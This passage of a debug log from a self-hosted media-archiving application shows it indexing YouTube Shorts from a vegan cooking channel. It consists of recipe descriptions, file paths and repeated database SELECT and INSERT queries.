WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: https://youtu.be/noBiufrdqRs)\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either 😉", "duration" => 36, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-15 VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal/VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal [RBe4nUwoFU8].NA", "id" => "RBe4nUwoFU8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/RBe4nUwoFU8", "playlist_index" => 154, "timestamp" => 1686838800, "title" => "VEGAN BBQ CHICK'N CAESAR WRAP / Easy 10 minute meal", "upload_date" => "20230615"} 20:26:00.058 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1010.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:00.060 [debug] QUERY OK source="sources" db=0.8ms idle=1008.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:00.063 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=1008.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:00Z], 1] 20:26:00.065 [debug] QUERY OK source="media_items" db=1.6ms idle=1007.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["VEGAN BBQ CHICK'N CAESAR WRAP! So easy, delicious and full of plant-based goodness. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: https://youtu.be/noBiufrdqRs)\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either 😉", "VEGAN BBQ CHICK'N CAESAR WRAP / Easy 10 minute meal", "bc1a2171-6c9f-4309-991f-9e7c53eb2ab8", 1, [], 36, false, "RBe4nUwoFU8", "https://www.youtube.com/shorts/RBe4nUwoFU8", 154, "/downloads/downloads/alec/Steamy Vegan/2023-06-15 VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal/VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal [RBe4nUwoFU8].NA", false, false, true, 0, ~U[2023-06-15 14:20:00Z], ~U[2026-03-22 03:26:00Z], ~U[2026-03-22 03:26:00Z], "VEGAN BBQ CHICK'N CAESAR WRAP! So easy, delicious and full of plant-based goodness. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: https://youtu.be/noBiufrdqRs)\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either 😉", "VEGAN BBQ CHICK'N CAESAR WRAP / Easy 10 minute meal", 1, 36, false, "RBe4nUwoFU8", "https://www.youtube.com/shorts/RBe4nUwoFU8", "/downloads/downloads/alec/Steamy Vegan/2023-06-15 VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal/VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal [RBe4nUwoFU8].NA", true, ~U[2023-06-15 14:20:00Z]] 20:26:00.066 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=70.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:00.068 [debug] QUERY OK source="media_profiles" db=1.0ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:00.069 [debug] QUERY OK source="media_items" db=0.5ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [543] 20:26:00.069 [debug] Current batch of media processed. Will check again in 1000ms 20:26:00.434 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:01.071 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 50, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-12 EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts/EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts [Xv4yH3BKLEQ].NA", "id" => "Xv4yH3BKLEQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Xv4yH3BKLEQ", "playlist_index" => 155, "timestamp" => 1686613500, "title" => "EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts", "upload_date" => "20230612"} 20:26:01.072 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:01.073 [debug] QUERY OK source="sources" db=0.5ms queue=0.6ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:01.077 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-12 23:45:00Z], 1] 20:26:01.079 [debug] QUERY OK source="media_items" db=1.3ms idle=643.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts", "852a68b0-0cb0-4c89-b228-688a4f31ee1f", 1, [], 50, false, "Xv4yH3BKLEQ", "https://www.youtube.com/shorts/Xv4yH3BKLEQ", 155, "/downloads/downloads/alec/Steamy Vegan/2023-06-12 EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts/EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts [Xv4yH3BKLEQ].NA", false, false, true, 0, ~U[2023-06-12 23:45:00Z], ~U[2026-03-22 03:26:01Z], ~U[2026-03-22 03:26:01Z], "", "EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts", 1, 50, false, "Xv4yH3BKLEQ", "https://www.youtube.com/shorts/Xv4yH3BKLEQ", "/downloads/downloads/alec/Steamy Vegan/2023-06-12 EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts/EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts [Xv4yH3BKLEQ].NA", true, ~U[2023-06-12 23:45:00Z]] 20:26:01.080 [debug] QUERY OK source="sources" db=0.7ms idle=81.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:01.081 [debug] QUERY OK source="media_profiles" db=0.9ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:01.082 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [544] 20:26:01.082 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "RED LENTIL WAFFLES 🧇 15g protein per waffle! 🧇 No lentil flavour detected, just soft and crispy deliciousness! 🤤 \n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nSAVE THIS RECIPE FOR TOMORROW! And follow me for more plant-based inspiration ✨ 🌱 \n\n#wafflesarelife #veganwaffle #redlentil #highproteinvegan #plantstrongvegan #eatyourselfhealthy #veganbreakfasts #steamyvegankitchen #steamyvegan", "duration" => 34, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-11 HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱/HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱 [MfN5Sa5xZc8].NA", "id" => "MfN5Sa5xZc8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MfN5Sa5xZc8", "playlist_index" => 156, "timestamp" => 1686493381, "title" => "HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱", "upload_date" => "20230611"} 20:26:01.083 [debug] QUERY OK source="sources" db=0.8ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:01.084 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:01.087 [debug] QUERY OK source="media_items" db=2.3ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-11 14:23:01Z], 1] 20:26:01.090 [debug] QUERY OK source="media_items" db=2.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["RED LENTIL WAFFLES 🧇 15g protein per waffle! 🧇 No lentil flavour detected, just soft and crispy deliciousness! 🤤 \n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nSAVE THIS RECIPE FOR TOMORROW! And follow me for more plant-based inspiration ✨ 🌱 \n\n#wafflesarelife #veganwaffle #redlentil #highproteinvegan #plantstrongvegan #eatyourselfhealthy #veganbreakfasts #steamyvegankitchen #steamyvegan", "HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱", "8cc37ef8-5882-4454-aa4d-383d37a3fa2f", 1, [], 34, false, "MfN5Sa5xZc8", "https://www.youtube.com/shorts/MfN5Sa5xZc8", 156, "/downloads/downloads/alec/Steamy Vegan/2023-06-11 HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱/HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱 [MfN5Sa5xZc8].NA", false, false, true, 0, ~U[2023-06-11 14:23:01Z], ~U[2026-03-22 03:26:01Z], ~U[2026-03-22 03:26:01Z], "RED LENTIL WAFFLES 🧇 15g protein per waffle! 🧇 No lentil flavour detected, just soft and crispy deliciousness! 🤤 \n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nSAVE THIS RECIPE FOR TOMORROW! And follow me for more plant-based inspiration ✨ 🌱 \n\n#wafflesarelife #veganwaffle #redlentil #highproteinvegan #plantstrongvegan #eatyourselfhealthy #veganbreakfasts #steamyvegankitchen #steamyvegan", "HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱", 1, 34, false, "MfN5Sa5xZc8", "https://www.youtube.com/shorts/MfN5Sa5xZc8", "/downloads/downloads/alec/Steamy Vegan/2023-06-11 HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱/HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱 [MfN5Sa5xZc8].NA", true, ~U[2023-06-11 14:23:01Z]] 20:26:01.092 [debug] QUERY OK source="sources" db=1.6ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:01.093 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:01.095 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=9.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [545] 20:26:01.095 [debug] Current batch of media processed. Will check again in 1000ms 20:26:02.096 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 58, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-25 All hail this EPIC Caesar dressing 🙌🏼🥗#shorts/All hail this EPIC Caesar dressing 🙌🏼🥗#shorts [rFBUEHfZ9NU].NA", "id" => "rFBUEHfZ9NU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rFBUEHfZ9NU", "playlist_index" => 157, "timestamp" => 1685031956, "title" => "All hail this EPIC Caesar dressing 🙌🏼🥗#shorts", "upload_date" => "20230525"} 20:26:02.097 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1006.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:02.104 [debug] QUERY OK source="sources" db=4.8ms queue=0.4ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:02.110 [debug] QUERY OK source="media_items" db=5.8ms idle=1010.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-25 16:25:56Z], 1] 20:26:02.113 [debug] QUERY OK source="media_items" db=0.8ms queue=1.4ms idle=1016.1ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["All hail this EPIC Caesar dressing 🙌🏼🥗#shorts", "9c9313ce-9ff5-4bd7-97ed-9421a2196694", 1, [], 58, false, "rFBUEHfZ9NU", "https://www.youtube.com/shorts/rFBUEHfZ9NU", 157, "/downloads/downloads/alec/Steamy Vegan/2023-05-25 All hail this EPIC Caesar dressing 🙌🏼🥗#shorts/All hail this EPIC Caesar dressing 🙌🏼🥗#shorts [rFBUEHfZ9NU].NA", false, false, true, 0, ~U[2023-05-25 16:25:56Z], ~U[2026-03-22 03:26:02Z], ~U[2026-03-22 03:26:02Z], "", "All hail this EPIC Caesar dressing 🙌🏼🥗#shorts", 1, 58, false, "rFBUEHfZ9NU", "https://www.youtube.com/shorts/rFBUEHfZ9NU", "/downloads/downloads/alec/Steamy Vegan/2023-05-25 All hail this EPIC Caesar dressing 🙌🏼🥗#shorts/All hail this EPIC Caesar dressing 🙌🏼🥗#shorts [rFBUEHfZ9NU].NA", true, ~U[2023-05-25 16:25:56Z]] 20:26:02.114 [debug] QUERY OK source="sources" db=0.2ms idle=112.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:02.116 [debug] QUERY OK source="media_profiles" db=0.5ms queue=1.4ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", 